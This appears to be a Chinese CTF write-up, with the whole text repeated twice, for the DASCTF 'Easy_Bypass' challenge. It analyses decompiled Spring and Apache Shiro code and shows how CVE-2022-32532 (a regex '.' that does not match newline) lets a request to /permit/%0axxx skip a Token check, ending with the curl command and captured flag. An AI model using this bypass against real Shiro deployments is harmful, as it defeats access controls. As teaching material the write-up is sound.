![[2026dasctf]Easy_Bypass](http://pic.xiahunao.cn/yaotu/[2026dasctf]Easy_Bypass)
用JADX反编译后找com.example之类Easy_BypassWriteUp源码分析1. DemoController —— 暴露接口RestController public class DemoController { RequestMapping(path {/permit/{value}}) public String permit(PathVariable String value) { System.out.println(success!); return DASCTF{FAKE_FLAG}; // 假 Flag仅作占位 } }路由/permit/{value}其中{value}为路径变量。返回字符串即为响应体含 Flag 字段。2. MyFilter —— 自定义鉴权过滤器public class MyFilter extends AccessControlFilter { public MyFilter() { this.pathMatcher new RegExPatternMatcher(); // 关键使用正则匹配器 } protected boolean isAccessAllowed(ServletRequest request, ServletResponse response, Object mappedValue) { String token ((HttpServletRequest) request).getHeader(Token); return token ! null token.equals(FAKE_TOKEN); } protected boolean onAccessDenied(ServletRequest request, ServletResponse response) { response.getWriter().println(access denied); return false; } }要求请求头Token: FAKE_TOKEN才能放行。不满足则返回access denied。3. MyShiroFilterFactoryBean —— 过滤链配置protected AbstractShiroFilter createInstance() { FilterChainManager manager new DefaultFilterChainManager(); manager.addFilter(myFilter, new MyFilter()); manager.addToChain(/permit/.*, myFilter); // 关键正则 PathMatchingFilterChainResolver chainResolver new PathMatchingFilterChainResolver(); chainResolver.setFilterChainManager(manager); chainResolver.setPathMatcher(new RegExPatternMatcher()); return new SpringShiroFilter(...); }将/permit/.*这条正则链绑定到myFilter。RegExPatternMatcher.点号 未启用Pattern.DOTALL → 触发 CVE-2022-32532。三、漏洞原理CVE-2022-32532Apache Shiro 1.9.1 在使用RegExPatternMatcher时Pattern.compile(pattern)默认未添加Pattern.DOTALL 标志导致正则中的.不匹配换行符\n(\x0a)/\r(\x0d)。攻击链路请求 URL: /permit/%0axxx ↓ URL 解码 实际路径: /permit/\nxxx组件对路径的处理结果ShiroRegExPatternMatcher用/permit/.*匹配/permit/\nxxx.不匹配\n正则匹配失败 → 该请求不匹配/permit/.*过滤链 →MyFilter不被执行Spring MVC 路由/permit/{value}正常解析路径变量{value}%0axxx请求直接到达DemoController.permit()最终效果绕过 Token 校验直接调用 Controller 拿到真实 Flag。┌──(root㉿QDLQSS)-[/mnt/c/Users/QSS/Downloads/28b64ef783f7fefbeb92ec7892fcfe7c/tempdir/PWN附件/Regular_apples] └─# curl -s http://45.40.247.139:24414/permit/%0axxx DASCTF{anEasy_CVE_Test}[ble: EOF]
用JADX反编译后找com.example之类Easy_BypassWriteUp源码分析1. DemoController —— 暴露接口RestController public class DemoController { RequestMapping(path {/permit/{value}}) public String permit(PathVariable String value) { System.out.println(success!); return DASCTF{FAKE_FLAG}; // 假 Flag仅作占位 } }路由/permit/{value}其中{value}为路径变量。返回字符串即为响应体含 Flag 字段。2. MyFilter —— 自定义鉴权过滤器public class MyFilter extends AccessControlFilter { public MyFilter() { this.pathMatcher new RegExPatternMatcher(); // 关键使用正则匹配器 } protected boolean isAccessAllowed(ServletRequest request, ServletResponse response, Object mappedValue) { String token ((HttpServletRequest) request).getHeader(Token); return token ! null token.equals(FAKE_TOKEN); } protected boolean onAccessDenied(ServletRequest request, ServletResponse response) { response.getWriter().println(access denied); return false; } }要求请求头Token: FAKE_TOKEN才能放行。不满足则返回access denied。3. MyShiroFilterFactoryBean —— 过滤链配置protected AbstractShiroFilter createInstance() { FilterChainManager manager new DefaultFilterChainManager(); manager.addFilter(myFilter, new MyFilter()); manager.addToChain(/permit/.*, myFilter); // 关键正则 PathMatchingFilterChainResolver chainResolver new PathMatchingFilterChainResolver(); chainResolver.setFilterChainManager(manager); chainResolver.setPathMatcher(new RegExPatternMatcher()); return new SpringShiroFilter(...); }将/permit/.*这条正则链绑定到myFilter。RegExPatternMatcher.点号 未启用Pattern.DOTALL → 触发 CVE-2022-32532。三、漏洞原理CVE-2022-32532Apache Shiro 1.9.1 在使用RegExPatternMatcher时Pattern.compile(pattern)默认未添加Pattern.DOTALL 标志导致正则中的.不匹配换行符\n(\x0a)/\r(\x0d)。攻击链路请求 URL: /permit/%0axxx ↓ URL 解码 实际路径: /permit/\nxxx组件对路径的处理结果ShiroRegExPatternMatcher用/permit/.*匹配/permit/\nxxx.不匹配\n正则匹配失败 → 该请求不匹配/permit/.*过滤链 →MyFilter不被执行Spring MVC 路由/permit/{value}正常解析路径变量{value}%0axxx请求直接到达DemoController.permit()最终效果绕过 Token 校验直接调用 Controller 拿到真实 Flag。┌──(root㉿QDLQSS)-[/mnt/c/Users/QSS/Downloads/28b64ef783f7fefbeb92ec7892fcfe7c/tempdir/PWN附件/Regular_apples] └─# curl -s http://45.40.247.139:24414/permit/%0axxx DASCTF{anEasy_CVE_Test}[ble: EOF]
